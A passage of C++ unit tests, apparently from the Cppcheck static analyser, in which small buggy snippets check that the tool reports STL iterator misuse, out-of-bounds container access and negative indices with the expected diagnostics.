g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: 